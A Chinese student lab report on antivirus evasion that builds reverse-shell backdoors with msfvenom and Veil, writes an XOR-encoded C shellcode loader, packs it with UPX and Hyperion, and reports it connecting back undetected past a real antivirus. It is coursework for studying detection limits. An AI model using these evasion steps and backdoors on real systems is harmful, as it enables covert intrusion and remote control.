《网络对抗技术》Exp3 免杀原理与实践——20184303邢超远
一、实验名称
免杀原理与实践。
二、实验目的与要求
- 理解杀软的工作原理,知道特征码检测、启发式检测和行为检测三种恶意软件检测机制,对于后两者要能够知道其侧重点并进行区分。
- 学习免杀的原理,掌握常用的免杀手段,比如修改特征码、改变行为等,掌握恶意代码生成工具的使用。并通过实际运用各种免杀手段深化对免杀原理的认识。
- 通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。
- 能够使用在线扫描平台检测所上传的软件是否为恶意软件,常用的检测平台有VirusTotal、Virscan等。
- 进一步提高信息安全意识,更加注重对后门的检测和防范。
三、实验原理
在这里对实验原理进行一个简单的回顾。
3.1 恶意软件检测机制
3.1.1 基于特征码的检测
特征码可以说就是一段或多段数据,通过这些数据可以唯一标识一个对象,如果一个可执行文件(或其他运行的库或脚本等)包含这样的数据则被认为是恶意代码。杀软根据特征码库去识别目标对象是否为恶意代码。杀软厂商的职责就包括尽量搜集尽可能全面且最新的特征码以不断更新特征码库。不能与时俱进的特征码库自然会被淘汰掉。这种检测方式精准识别度很高,但存在一定的滞后性,必须得等到特征码库更新了某一特征码才能检测出相应的恶意代码。
3.1.2 启发式恶意软件检测
这种检测方式是通过观察一个软件干的事情和恶意软件干的事情是否相像,如果是的话就认定该软件是恶意软件,否则就信任对方。恶意软件典型的行为包括连接不安全的网站、开放不明端口、偷改系统文件。软件厂商会定义自己的检测模式,根据本身的签名、文件结构、运行方式等特点判断是不是“自己人”。杀软也会依据这些关键信息判断一个软件像不像是恶意软件,像的话就当作是恶意软件了。这种方法一定程度上显得不那么滞后,但也存在误杀的可能,但总得来说还是不错的,具有一定的通用性。它能检测出软件的0-day漏洞,这种漏洞就是说被人发现了但是厂商还不知道,这意味着知道漏洞的人就可以针对该漏洞肆意实施攻击。1-day漏洞是指漏洞已被厂商发现了单还没有修复。0-day漏洞更值钱。如果漏洞被厂商修复了那就不叫漏洞了。
3.1.3 基于行为的恶意软件检测机制
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。与启发式概念有重叠,但是有强调的地方,偏重于行为检测。
3.2 免杀技术
3.2.1 改变特征码
这种方法目的是让特征码大变样,使杀软依据之前的特征码无法识别出改变过特征码的恶意软件。
- 对于exe文件,可以采用加壳操作,有压缩壳和加密壳两类。这里的压缩不是指简单的zip或rar压缩,而是另一种思路,有专门的平台可供实现。加密壳就是利用合适的加密算法加密exe文件但不影响软件功能,给恶意软件“洗白”。
- 对于shellcode类的恶意代码,可以用encode进行编码,比如与一段指定的数据异或,这类似于上面的加密壳;还可以基于payload重新编译生成可执行文件。
- 手里有源代码的话,可以用其他语言重写再编译,比如veil-evasion平台
3.2.2 改变行为
- 尽量使用反弹式连接,这样更不容易被杀软发现。反弹式连接就是让被攻击者主动连接攻击者,此时攻击者肯定对此连接不设防,那就连上了。如果不是反弹式连接,被攻击者的杀软可能就把攻击者的异常连接拦下了。
- 使用隧道技术。
- 加密通讯技术。
- 基于内存操作。杀软检测恶意代码是什么时候检测的呢?很多时候是往硬盘里写东西的时候,而在内存里操作,杀软基本上不会检测到,我们实验二的操作meterpreter就是这种的。
- 减少对系统的修改。
- 加入混淆作用的正常代码。
3.2.3 其他思路
- 社会工程类攻击,使目标关闭杀软。
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 独辟蹊径,手工打造一种全新的恶意软件,足够创新以使得任何杀软都检测不到异常。
3.3 免杀效果检测
我们使用在线查毒网站来检查自己送上去的软件是不是恶意软件。有两家非常著名的网站,一家是VirusToal,一家是VirScan,两家网站检测查杀效果都很强,集成了很多权威的杀软的功能,对每一个检测目标都用所有杀软杀一遍,最后得出数据看哪些杀软杀出来了哪些没杀出来。VirusTotal是国外的网站,而VirScan是国内的网站,我在本实验中用的一直都是这个国内的扫描网站,地址是https://www.virscan.org/。
四、实验内容
实验前,可以在~目录下新建一个实验文件夹,专用于存放本实验的文件,输命令时都先cd到这个文件夹,这样生成的后门文件,默认都是存储到这里的,方便寻找。
本实验的后门多是用于扫描看免杀效果,直接使用的比较少。
4.1 使用msf编码器生成后门
这种后门攻击思路很清晰,就是利用msfvenom生成.exe可执行文件,然后发送到靶机Windows上面,运行后就可以在kali linux 上面利用msfconsole连接msfvenom服务操作靶机。
使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.43.248 LPORT=4303 -f exe > 4303once.exe
上面的命令中,-p 参数用于选择一个payload,这里我们选择的还是一个tcp反弹连接,和实验二用到的是一个东西;-e参数用于选择编码方式,这里选的是x86/shikata_ga_nai;-b参数用于去掉指定的字符也就是坏字符,这里选择去掉的是‘\x00’,它是16进制下的0,表示字符串结束的含义,一段完整的shellcode要避免在中间出现0,否则只有0之前的生效,这也就相当于shellcode整段就失效了,为避免出现这种情况就得用-b参数去掉停止符。-f表示格式,这里选择的是exe格式,这正是我们要的格式。
如上图所示,最后生成的可执行文件总大小是73802字节,其中payload占381字节。
上图就是刚刚通过msf编码器生成的后门程序4303once.exe,我在virscan上对其进行扫描,下面是扫描结果。
virscan对于后门的扫描结果有很多,我在本实验只截了上面两个图,没法截成一张图因为很多时候这俩图中间总是有广告并且删了是大段空白,这俩图还是合不到一起。上边是文件信息,解析了包括文件名称、文件大小、文件类型和几个哈希摘要值的诸多文件专属信息,下边是扫描结果,52%的杀软报告发现了病毒,也还有近一半的没有发现。免杀效果还算中等。
下面,还是上面的命令,只不过在上面的命令的基础上编码十次然后改个名字,生成一个新的后门文件,看看后门的免杀效果和编码次数有没有关系,之所以要这么看是因为这种后门生成方式就是通过编码器实现的,探索一下免杀效果和编码次数有无关系也是比较值得的。输入这样的命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 10 LHOST=192.168.43.248 LPORT=4303 -f exe > 4303tenth.exe
i参数就表示编码次数,后面跟数字几就编码几次,没有的话就默认一次了。
上图是编码十次后生成后门的结果,生成的文件名是4303tenth.exe,从文件大小上看,一个是73802,一个是624。下面进行测试:
结果和编码一次是一样的,都是52%的查杀概率。我没有留意杀出来和没有杀出来的杀软是不是都是一样的,不过我看别人的博客,出现过查杀率不一样的情况,那么即便是查杀概率相同,那么两次查杀能查出和不能查出的杀软应该也是不一样的,或多或少都有差别。原因的话,老师在码云上的实验讲义有文字说明:杀软厂商对此类后门重点研究的是编码器本身,shikata_ga_nai是我们选择的编码方式,对于它或者其他编码方式来说,总会有解码(decoder stub)部分需要加入进exe中,只要盯住这部分就可以了。还有模板。模板就是msfvenom用来生成最终exe的那个壳子exe文件,我们生成后门用的msfvenom本身就会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征,这就会被杀软识别出来,所以一般来说杀软厂商会针对模板生成特征码,这样就一劳永逸地解决msfvenom通过这种模板生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。
4.2 使用Msfvenom生成jar等其他类型的后门
本步骤生成不同类型的后门,代码上都是类似的,区别除了文件名以外,就是-p参数选择的payload不一样,这是后门实施攻击的关键代码,不同的-p参数就代表不同类型的后门。
1. 生成jar类型的后门
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.43.248 LPORT=4303 x > bd4303_java.jar
在命令行中输入上了述红色命令,然后如上图所示,成功生成jar类型的后门,大小是5311字节。由于virscan上无法扫描,我换用virtotal平台扫描。
上图是java后门的扫描结果,Java程序在windows下和在linux下都可以生效执行。。
2. 生成php后门
输入命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.248 LPORT=4303 x> bd4303_php.php
上图是代码生成过程和后门截图,被红框强调的紫色文件就是php后门了,它的大小是1115字节。
从上图可以看出,virscan给出的评价“是病毒的可能性较高,如果没有必要尽量不要打开或者运行”,免杀率为94%。php后门放到Windows上无法直接使用,毕竟它不是exe文件,要用的话可以偷偷嵌入到网站上。
3. 生成Android类型的后门
输入命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.248 LPORT=4303 x> bd4303_android.apk
上面被红框圈住的棕色文件,它就是apk后门。顾名思义它是在安卓手机上搞破坏的后门。
测试结果如上,免杀率达85%,效果还不错。
4. 生成Linux后门
输入命令:msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.43.248 LPORT=4303 x> bd4303_linux
命令执行情况及后门生成结果如上。
免杀率高达100%,网站上没有一款杀软杀出来这个后门,我看别的同学也做出了这个结果,上面的也是类似的,说明杀软厂商对移动端还有Linux的恶意代码查杀力度还不是那么高,不足以和Windows的相比。
4.3 通过veil平台生成后门
viel的安装过程很吃力,费时久不说还总失败,听说别人还出现了安装成功但是无法生成后门的情况,这应该是由于安装过程出现了缺陷导致的。因为veil平台涵盖的功能非常广泛,一次安装过程结束后,可能有的功能模块安好了,还有的没安好。如果安好的功能模块足以支持本实验的完成,那么就不用担心了;否则就会出现生成不了后门的情况。veil的安装没什么好说的,网上有很多教程,照着做即可。下载速度慢的话可以把WiFi换成手机热点,或者换更新源。有的步骤失败后,命令行会给出失败提示,那么就按照失败提示去弥补错误,最后可以成功。
如上图,输入veil后可以进入veil平台,版本是3.1.14。我们的目的是通过veil生成后门,要知道自己为什么用它。在veil主界面可以看到,可用工具有两个,分别是Evasion和Ordnance,我们在这里用的是前者。可用命令有exit、info、list、options、update和use这几个,我们要用到use命令。那么结合指定的工具和命令,我们输入use evasion,使用这个特定的工具。
然后输入list,可用查看有哪些攻击载荷可用使用:
从上面的截图可看出,evasion工具下有相当多的攻击载荷可用用,后缀py就是payload的缩写。那么多攻击载荷中我们用的是c/meterpreter/rev_tcp.py,因为这是老师亲测有效的,后面做其他方法生成后门的话,可用从上图这四十多个py中任选一个,可能不是所有都能用,但除了我们选的这个,总有其他的也可以用。
输入use c/meterpreter/rev_tcp.py
后,会出现如上界面,介绍了这个py的基本信息、是否启用和一些选项设置及可用命令,我们会用到其中的generate。此时输入set LHOST 192.168.43.248
和set LPORT 4303
,设置反弹连接的IP地址和端口,这里自然填攻击方也就是kali的,其他后门也一样。
设置完毕后,输入option
,可以查看当前的设置都有哪些,这些设置都是正常的、无误的,接下来输入generate
,生成payload。
在第二个红框中填入后门名称,veil_c_4303;第三个红框表示的是后门可执行文件的存储路径:/var/lib/veil/output/compiled/veil_c_4303.exe。
然后按下回车键继续, 这就又回到了veil平台的初始界面,成功生成了后门之后,就可用直接输入exit
退出veil。
打开文件管理器,把上面找到的veil生成的后门所在的路径复制到导航框里,回车可以直接找到这个后门。
virscan扫描结果如上,可以看出这个后门的免杀率也还可以。
4.4 C语言调用shellcode
这种方式可以半手工打造一个恶意软件。下面指令会生成一个c语言格式的Shellcode数组:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.248 LPORT=4303 -f c
IP地址和端口号都是攻击方kali的,让被攻击方主动连接攻击方。成功后有如下结果:
第一个红框是输入命令的情形,下面是一些描述信息,说文件大小是1512字节,攻击载荷大小是354字节。第二个红框是生成的shellcode全部内容,它以C语言数组形式呈现,数组类型是unsigned char,数组名是buf。这段shellcode的生成要花一定的时间,不会立即出现,得耐心等。
然后在kali中建立一个后缀为.c的文件,文件名自拟,比如shellcode_4303.c。创建文件可以有多种方式,可以命令行创建也可以在图形化界面创建,命令行创建可以用touch、vim等。然后将unsigned char buf[]数组的内容赋值到这个新创建的c文件中,代码如下:
输入touch shellcode_4303.c
创建文件,然后输入vim shellcode_4303.c
,将unsigned char buf[]
赋值到其中。
unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" 此处省略 "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
按ESC
,输入:wq
,退出保存
如上,然后保存并关闭。这个文件最好是建在exp3文件夹中,也就是实验前预先创建的存放本实验所有后门的文件夹中。然后在命令行中,通过cd命令切换目录,确保切换到刚刚生成的这个c文件所在的路径,然后再执行如下命令:
i686-w64-mingw32-g++ shellcode_4303.c -o shellcode_4303.exe
作用是把c文件编译成可执行文件,文件名自拟,但后缀得是exe。
在上面的截图中,命令的执行和上面描述的是一样的,编译完成后,在c文件的旁边就会出现它经过编译的可执行文件。照例对它检测一下:
4.5 为后门加壳
1. 压缩壳UPX
通过如下命令,给之前用shellcode打造的恶意软件加上压缩壳。
upx shellcode_4303.exe -o ke_shellcode_4303.exe
这个加壳操作很简单,给shellcode_4303.exe加壳,生成ke_shellcode_4303.exe。下图是压缩的过程。
照例对其进行扫描,得到如下结果:
可见,加壳后只有12%的杀软报告发现病毒,后门加壳后免杀效果普遍都会提高。
2. 加密壳Hyperion
使用加密壳首先要正确安装这个Hyperion工具,通过命令sudo apt-get install hyperion
下载和安装,成功截图如下:
其默认安装路径是/usr /share/windows-resources/hyperion/,如下图:
这个路径是现成的,如果不现成得自己找的话,那么可以用locate命令定位一下hyperion.exe,也能找到它的容身之所。执行Hyperion相关的命令,和veil就不一样了,veil可以在任何路径下执行veil命令进入veil控制台,像msf控制台一样;但是Hyperion不可以,想用加密壳加密东西,命令行执行命令时所在的路径必须得和hyperion.exe所在的保持一致命令才能有效执行。所以在执行加密操作前,必须得在命令行中先cd到加密壳程序所在的路径下。不仅如此,还要把被加壳的后门也移动到这个路径下:
如上图所示,执行cp ke_shellcode_4303.exe /usr/share/windows-resources/hyperion
,将后门文件复制到Hyperion所在的目录下。
接下来进入输入指令cd /usr/share/windows-resources/hyperion/
,进入Hyperion所在的目录。
然后可以执行下面的命令:
wine hyperion.exe -v ke_shellcode_4303.exe mke_shellcode_4303.exe
上加密壳的对象是上了压缩壳的后门ke_shellcode_4303.exe,我生成的新文件命名成mke_shellcode_4303.exe,给后门上加密壳的过程需要耗费一定的时间,中间要经历三个过程,命令行出现的代码很多,让人眼花缭乱。我截取了下来:
root@20184303xcy:~# cd exp3
root@20184303xcy:~/exp3# cd /usr/share/windows-resources/hyperion/
root@20184303xcy:/usr/share/windows-resources/hyperion# wine hyperion.exe -v ke_shellcode_4303.exe mke_shellcode_4303.exe
-------------------------------
| Stage 1: Analyzing input file |
-------------------------------
Opening ke_shellcode_4303.exe
Successfully copied file to memory location: 0x2310b8
Found valid MZ signature
Found pointer to PE Header: 0x80
Found valid PE signature
Found 32 bit binary
Image base is 0x400000
Image size is 0x20000
-------------------------------
| Stage 2: Generating ASM files |
-------------------------------
Input file size + Checksum: 0xd9f1
Rounded up to a multiple of key size: 0xda00
INFILE_SIZE equ 0xda00
written to /usr/share/windows-resources/hyperion/Src/Container/32/infile_size.inc
Generated checksum: 0x398eac
Generated Encryption Key: 0x0 0x2 0x0 0x1 0x1 0x1
0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
Written encrypted input file as FASM array to:
/usr/share/windows-resources/hyperion/Src/Container/32/infile_array.inc
IMAGE_BASE equ 0x400000
written to /usr/share/windows-resources/hyperion/Src/Container/32/image_base.inc
IMAGE_SIZE equ 0x20000
written to /usr/share/windows-resources/hyperion/Src/Container/32/image_size.inc
REAL_KEY_SIZE equ 0x6
written to /usr/share/windows-resources/hyperion/Src/Container/32/key_size.inc
REAL_KEY_RANGE equ 0x4
written to /usr/share/windows-resources/hyperion/Src/Container/32/key_size.inc
include 'logfile_disable.asm'
written to /usr/share/windows-resources/hyperion/Src/Container/32/logfile_select.asm
include '../../Payloads/Aes/32/aes.inc'
written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm
include '../../Payloads/Aes/32/aes.asm'
written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm
include '../../Payloads/Aes/32/decryptexecutable.asm'
written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm
--------------------------------
| Stage 3: Generating Executable |
--------------------------------
Starting FASM with the following parameters:
Commandline: /usr/share/windows-resources/hyperion/Fasm/FASM.EXE /usr/share/windows-resources/hyperion/Src/Container/32/main.asm mke_shellcode_4303.exe
FASM Working Directory: Z:\usr\share\windows-resources\hyperion
flat assembler version 1.71.54 (762708 kilobytes memory)
7 passes, 0.8 seconds, 71680 bytes.
Done :-)
至此,71680字节的后门生成了,它是由压缩壳后门上了加密壳之后得到的。
免杀效果和上压缩壳是一样的,并没有提升多少,这是由于试验次数较少造成的。我看了其他同学的博客,也有和我遇到的情况一样的,也有加密壳免杀效果更好的,并且比压缩壳好不少。至于加壳为什么不能彻底避免杀软检测,老师给出了一种说法:原因在于加密过的代码段的熵太高。这可以用一种非常简单的方法处理,在每个字节后跟一个空字节,解密程序只要忽略空字节就可以了。
4.6 使用其他课堂未介绍的方法
使用veil平台,换一种新的攻击载荷生成后门完成攻击。
先是按惯例输入veil,进入veil平台,输入use Evasion
,使用Evasion工具,注意到此时有41个攻击载荷已经载入,可以任意选择:
available commands中有一个叫list
的命令,可以列出当前所有41个攻击载荷。
我们从中选一个课堂上没用过的用,可能不是所有的都能顺利使用,但总有能用的,在此选择的是第28个。
用use命令选择,可以输入攻击载荷全称,也可以输入代号。这里用use 28
完成选择,然后进入选项配置环节,这里的选项较多,不再一一截图。还是按惯例设置回连的kali的IP地址和端口。
在查看options
选项无误后,使用generate
命令生成后门。
框一是后门生成的动员令;框二是在给后门命名;框三是选择创建可执行payload的方式,这里有一和二两种,我选择第一种的时候不知为何没有成功生成output文件,只生成了py后缀和rc后缀的文件。后来选择了第二种方法,才得到了正确的生成结果。
成功的话会生成如上三个文件,其中runme.bat是我们要用来攻击目标机器的后门。对其进行扫描,得到如下结果,免杀率高达100%。
4.7 通过组合应用各种技术实现恶意代码免杀
本实验我们通过组合C+shellcode+逆序实现恶意代码免杀,需要先使用语句生成一段shellcode,输入下面指令会生成一个c语言格式的Shellcode数组:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.248 LPORT=4303 -f c
IP地址和端口号都是攻击方kali的,让被攻击方主动连接攻击方。成功后有如下结果:
然后我们输入指令touch shellcode-20184303.c
生成一个shellcode-20184303.c文件,再后连同shellcode前面的unsigned char buf[]=一起复制到Windows系统下的codeblock中,然后我们输入代码:
unsigned char buf[] =
"\xda\xc8\x54\x5e\xd9.....\xa1\x7d\x03\x2b\x69\x2b\x3a\xd4\xef";
int main()
{
int i;
for (i = 0; i < sizeof(buf); i++)
{
buf[i] ^= 0x01;
printf("\\x%x",buf[i]);
}
}
将生成的结果复制下来。
这时输入指令vim shellcode-20184303.c
编写生成的.c文件:
unsigned char buf[] =
"刚才复制的代码";
int main()
{
int i;
for (i = 0; i < sizeof(buf); i++)
{
buf[i] ^= 0x01;
}
int (*func)() = (int(*)())buf;
func();
}
生成exe文件如上图所示。
接下来我们对shellcode-20184303.exe进行压缩加壳。输入指令upx shellcode-20184303.exe -o ke-shellcode-20184303.exe
生成文件 ke-shellcode-20184303.exe如上图所示
我使用的杀毒软件是联想电脑管家3.0.310.3102,可以看到,生成的后门程序ke-shellcode-20184303.exe没有被检测到,并且我也没有加入信任区。
4.7 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
进入msf控制台,设置攻击载荷、IP地址、监听端口等操作比较简单,这里就忽略掉了,下面直接进入到反弹连接成功建立起来的界面:
上图是连接建立成功后,调用ls
命令列出受害机目前工作目录所含的文件及子目录。
左边是受害机,右边是攻击机,右边的kali此时已经成功通过控制住了左边的机器,此时左边机器的右下角腾讯电脑管家的图标还亮着,说明杀软没有阻止后门操作。右边kali在反弹连接建立成功后,我是输入了ls命令列出受害机目前工作目录所含的文件及子目录,结果如图55所示。
图54显示了受害机查杀的结果和ke-shellcode-20184303.exe运行的结果,可以看到,受害机的杀毒软件为电脑管家13.7,我也没有添加信任,免杀成功。
五、实验总结与收获
(一)基本问题
1.杀软是如何检测出恶意代码的?
在课堂上老师讲了一些恶意代码检测方式,包括基于特征码的检测、启发式检测和基于行为的检测。在前面基础知识方面进行过简单回顾。
-
基于特征码的检测,就是依据恶意代码中的关键特征信息,这种方式很精确,就像一个人的身份证号码、网络设备的mac地址一样是独一无二的,但就是有一定的滞后性,闻所未闻的后门特征即使再怎么看也是没有问题的,杀软肯定检测不出来。
-
启发式检测弥补了前一种方法的滞后性,即使没见过,那只要这个程序的某些行为看起来像恶意代码,比如擅开不常用端口建立异常连接等,那么杀软就会把这个程序看作是恶意代码(软件),存在误杀的可能,但可以避免一定程度上的杀毒滞后。基于行为的检测和前一种方式类似,但有侧重点,侧重于行为监控。
2.免杀是做什么?
免杀就是让本身能被杀毒软件发现的恶意代码,通过一些手段加工后,使得它不能被发现。
3.免杀的基本方法有哪些?
免杀就是要不断变更特征码、不断改变自身的一些异常行为、不断努力让自己看起来像正常软件(比如杀软)那样人畜无害,从被检测的角度考虑,恶意代码会因为特征码或是行为被发现,那么免杀方法就有两大类:
-
改变特征码:这次实验中操作的msf编码、veil、加壳、shellcode都属于改变特征码。
-
改变行为:使用反弹连接、隧道技术、加密通讯数据等。
4.开启杀软能绝对防止电脑中恶意代码吗?
不能。杀软在不断进化和发展,恶意代码也在做同样的事,如果通过一些方式改变了恶意代码中的特征码,杀毒软件发现不了恶意代码,但这并不意味着该文件是安全的、没有病毒的。
(二)问题解决
1.编码时报错Error: An encoding exception occurred.
意思是发生编码异常。
解决方法:自己研究了一下这条命令,里面用到了四个参数:
- -p:使用的payload,即有效载荷。
- -e:使用的编码器,用于对shellcode变形,为了免杀。
- -b:badchar是payload中需要去除的字符。
- -f:生成文件的类型
由于报的错是编码错误,那么相关的参数也就是-e
和-b
这两个。
分别删去这两个参数后运行,发现:
- 删去
-e
参数,仍然报错,依旧是编码问题 - 删去
-b
参数,无报错,生成了exe文件,如下图
那么就可以把问题锁定到-b
参数上。仔细对比之后发现是-b
参数后的‘\x00’
用的是中文引号,正确的应该是'\x00'
,所以系统才会提示编码有误。
2.exe文件提示由于找不到libgcc_s_dw2-1.dll,无法继续执行编码
在使用C语言调用shellcode生成文件后,放置到windows下会出现提示:
这就需要我们进入网站:http://www.pc6.com/softview/SoftView_93032.html
下载一个libgcc_s_dw2-1.dll,放在exe同文件夹下即可运行C+shellcode生成的exe文件
这样子问题就解决了,我们也可以不采用这种方式,将.c文件放到windows中,用codeblocks编译生成exe文件,这也可以解决的这个问题。
(三)实验体会与感想
本次实验在实验二的基础上增加了实验的难度,过程也非常复杂,执行操作的前提条件不太好准备,也需要下功夫去学会新平台的操作方法,学会使用它。免杀让我更加清晰的认识到,杀毒软件并不能百分之百保证电脑的安全,恶意代码的修改完全可以实现免杀,想要保证设备的信息安全,就必须得保持足够高的信息安全意识和足够绿色干净的上网习惯!